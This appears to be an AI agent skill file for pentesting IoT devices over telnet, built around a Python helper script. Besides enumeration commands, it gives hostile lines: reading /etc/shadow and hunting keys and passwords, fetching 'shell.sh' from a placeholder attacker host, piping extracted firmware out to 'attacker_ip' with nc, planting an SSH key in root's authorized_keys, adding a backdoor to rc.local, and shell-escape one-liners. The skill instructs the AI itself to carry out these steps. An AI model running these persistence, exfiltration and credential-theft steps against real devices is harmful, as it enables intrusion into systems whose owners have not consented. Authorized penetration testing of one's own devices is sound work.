| name | telnetshell |
| description | Use telnet to interact with IoT device shells for pentesting operations including device enumeration, vulnerability discovery, credential testing, and post-exploitation. Use when the user needs to interact with network-accessible shells, IoT devices, or telnet services. |
IoT Telnet Shell (telnetshell)
This skill enables interaction with IoT device shells accessible via telnet for security testing and penetration testing operations. It supports unauthenticated shells, weak authentication testing, device enumeration, and post-exploitation activities.
Prerequisites
- Python 3 with pexpect library (
pip install pexpect or sudo pacman -S python-pexpect)
- telnet client installed on the system (
sudo pacman -S inetutils on Arch)
- Network access to the target device's telnet port
Recommended Approach: Telnet Helper Script
IMPORTANT: This skill includes a Python helper script (telnet_helper.py) that provides a clean, reliable interface for telnet communication. This is the RECOMMENDED method for interacting with IoT devices.
Default Session Logging
ALL commands run by Claude will be logged to /tmp/telnet_session.log by default.
To observe what Claude is doing in real-time:
tail -f /tmp/telnet_session.log
This allows you to watch all telnet I/O as it happens without interfering with the connection.
Why Use the Telnet Helper?
The helper script solves many problems with direct telnet usage:
- Clean output: Automatically removes command echoes, prompts, and ANSI codes
- Prompt detection: Automatically detects and waits for device prompts
- Timeout handling: Proper timeout management with no arbitrary sleeps
- Easy scripting: Simple command-line interface for single commands or batch operations
- Session logging: All I/O logged to
/tmp/telnet_session.log for observation
- Reliable: No issues with TTY requirements or background processes
- JSON output: For programmatic parsing and tool chaining
Quick Start with Telnet Helper
Single Command:
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a"
Custom Port:
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --port 2222 --command "ls /"
With Custom Prompt (recommended for known devices):
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --prompt "^/ [#\$]" --command "ifconfig"
Interactive Mode:
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --port 2222 --interactive
Batch Commands from File:
echo -e "uname -a\ncat /proc/version\nifconfig\nps" > commands.txt
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --script commands.txt
JSON Output (for parsing):
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a" --json
Debug Mode:
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "ls" --debug
Session Logging (for observation):
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--logfile /tmp/session.log \
--interactive
tail -f /tmp/session.log
Note: See OBSERVING_SESSIONS.md for comprehensive guide on monitoring telnet sessions.
See examples.md for full worked walkthroughs: initial device identification, BusyBox detection, full system enumeration, SUID hunting, and hardcoded-credential discovery.
Telnet Helper Options
Required (one of):
--command, -c CMD Execute single command
--interactive, -i Enter interactive mode
--script, -s FILE Execute commands from file
Connection Options:
--host, -H HOST Target host IP or hostname (required)
--port, -P PORT Telnet port (default: 23)
--timeout, -t SECONDS Command timeout (default: 3.0)
--prompt, -p PATTERN Custom prompt regex pattern
Output Options:
--raw, -r Don't clean output (show echoes, prompts)
--json, -j Output in JSON format
--logfile, -l FILE Log all I/O to file (default: /tmp/telnet_session.log)
--debug Show debug information
Common Prompt Patterns
The helper script includes common prompt patterns, but you can specify custom ones:
--prompt "/\s*[#\$]\s*$"
--prompt "^[#\$]\s*$"
--prompt "^MyDevice>\s*$"
--prompt "^User@[^>]+>\s*$"
Device Enumeration Example with Telnet Helper
Here's a complete example of safely enumerating a device:
HELPER="python3 .claude/skills/telnetshell/telnet_helper.py"
HOST="192.168.1.100"
PORT="2222"
LOGFILE="/tmp/telnet_session.log"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "uname -a"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /proc/version"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /proc/cpuinfo"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "busybox"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "ifconfig"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "route -n"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "netstat -tulpn"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --timeout 5 --command "ps aux"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "ls -la /"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "mount"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "df -h"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /etc/passwd"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "find / -perm -4000 2>/dev/null"
IMPORTANT FOR CLAUDE CODE: When using this skill, ALWAYS include --logfile /tmp/telnet_session.log in every command so the user can monitor activity with tail -f /tmp/telnet_session.log.
Instructions
1. Connection Setup
Default connection:
- Port: 23 (standard telnet, override with
--port)
- Timeout: 3 seconds (override with
--timeout)
- Logging:
/tmp/telnet_session.log by default
Common telnet ports on IoT devices:
- 23: Standard telnet port
- 2222: Alternative telnet port (common on cameras)
- 8023: Alternative telnet port
- Custom ports: Check device documentation or nmap scan results
2. BusyBox Shells (Most IoT Devices)
IMPORTANT: The vast majority of IoT devices use BusyBox, a lightweight suite of Unix utilities designed for embedded systems. BusyBox provides a minimal shell environment with limited command functionality.
Identifying BusyBox:
busybox
busybox --help
ls -la /bin/sh
busybox --list
BusyBox Limitations:
- Many standard Linux commands may be simplified versions
- Some common flags/options may not be available
- Features like tab completion may be limited or absent
- Some exploitation techniques that work on full Linux may not work
Common BusyBox commands available:
cat, ls, cd, pwd, echo, cp, mv, rm, mkdir, chmod, chown
ps, kill, top, free, df, mount, umount
grep, find, sed, awk (limited versions)
ifconfig, route, ping, netstat, telnet
vi (basic text editor - no syntax highlighting)
busybox --list | sort
ls /bin /sbin /usr/bin /usr/sbin
BusyBox-specific considerations for pentesting:
ps output format may differ from standard Linux
- Some privilege escalation techniques require commands not in BusyBox
- File permissions still work the same (SUID, sticky bits, etc.)
- Networking tools are often present (telnet, wget, nc/netcat, ftpget)
- Python/Perl/Ruby are usually NOT available (device storage constraints)
Useful BusyBox commands for enumeration:
busybox | head -1
nc -l -p 4444
wget http://attacker.com/shell.sh
ftpget server file
telnet 192.168.1.1
busybox httpd -p 8080 -h /tmp
3. Device Enumeration
Once you have shell access, gather the following information:
System Information:
uname -a
cat /proc/version
cat /proc/cpuinfo
cat /proc/meminfo
cat /etc/issue
cat /etc/*release*
cat /etc/*version*
hostname
cat /etc/hostname
ifconfig -a
cat /etc/network/interfaces
cat /etc/resolv.conf
mount
cat /proc/mounts
df -h
ps aux
ps -ef
top -b -n 1
User and Permission Information:
id
whoami
groups
cat /etc/passwd
cat /etc/shadow
cat /etc/group
sudo -l
cat /etc/sudoers
Network Services:
netstat -tulpn
lsof -i
iptables -L -n -v
cat /etc/iptables/*
Interesting Files and Directories:
ls -la /etc/
find /etc/ -type f -readable
ls -la /etc/nginx/
ls -la /etc/apache2/
ls -la /var/www/
find / -name "*.pem" 2>/dev/null
find / -name "*.key" 2>/dev/null
find / -name "*password*" 2>/dev/null
find / -name "*credential*" 2>/dev/null
grep -r "password" /etc/ 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
find / -perm -2 -type f 2>/dev/null
find / -perm -2 -type d 2>/dev/null
which gdb gcc python perl ruby tcpdump
ls /usr/bin/ /bin/ /sbin/ /usr/sbin/
4. Privilege Escalation (if not root)
Check for common vulnerabilities:
uname -r
ps aux | grep root
find /etc/init.d/ -writable 2>/dev/null
crontab -l
ls -la /etc/cron*
cat /etc/crontab
5. Persistence and Further Access
Establish additional access methods:
mkdir -p /root/.ssh
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh
/etc/init.d/ssh start
/etc/init.d/sshd start
/etc/init.d/dropbear start
echo "/path/to/backdoor &" >> /etc/rc.local
6. Firmware Extraction
Extract firmware for offline analysis:
cat /proc/mtd
cat /proc/partitions
dd if=/dev/mtd0 of=/tmp/bootloader.bin
dd if=/dev/mtd1 of=/tmp/kernel.bin
dd if=/dev/mtd2 of=/tmp/rootfs.bin
nc attacker_ip 4444 < /tmp/rootfs.bin
cd /tmp
busybox httpd -p 8000
Common IoT Device Scenarios
Scenario 1: No Authentication Shell
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --interactive
Scenario 2: Custom Port No-Auth Shell
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --port 2222 --interactive
Scenario 3: Password-Protected Shell
Scenario 4: Limited Shell Escape
echo $SHELL
/bin/sh
/bin/bash
vi
less /etc/passwd
find / -exec /bin/sh \;
awk 'BEGIN {system("/bin/sh")}'
Security Testing Checklist
Best Practices
- Always log your session: Default logfile is
/tmp/telnet_session.log
- Document everything: Take notes on commands, responses, and findings
- Use batch scripts: Create enumeration scripts for common tasks
- Research the device: Look up known vulnerabilities, default credentials, and common issues
- Use proper authorization: Only perform pentesting on devices you own or have explicit permission to test
- Be careful with destructive commands: Avoid commands that could brick devices or corrupt data
- Monitor your session: Use
tail -f in another terminal to watch activity
Troubleshooting
Problem: Connection refused
- Solution: Check if telnet service is running, verify port number, check firewall rules
Problem: Connection timeout
- Solution: Verify network connectivity, check if device is powered on, verify IP address
Problem: "Permission denied"
- Solution: Telnet service may require authentication, try default credentials
Problem: Commands not echoing
- Solution: Use
--raw flag to see unfiltered output
Problem: Garbled output or wrong prompt detection
- Solution: Use
--prompt flag with custom regex pattern for your specific device
Pre-built Enumeration Scripts
The skill includes pre-built enumeration scripts for common tasks:
enum_system.txt: System information gathering
enum_network.txt: Network configuration enumeration
enum_files.txt: File system exploration
enum_security.txt: Security-focused enumeration
Usage:
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--script .claude/skills/telnetshell/enum_system.txt
Example Usage
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a"
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --port 2222 --command "ls /"
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--logfile /tmp/camera_session.log \
--interactive
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--script enum_system.txt \
--json > results.json
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--timeout 10 \
--command "find / -name '*.conf'"
References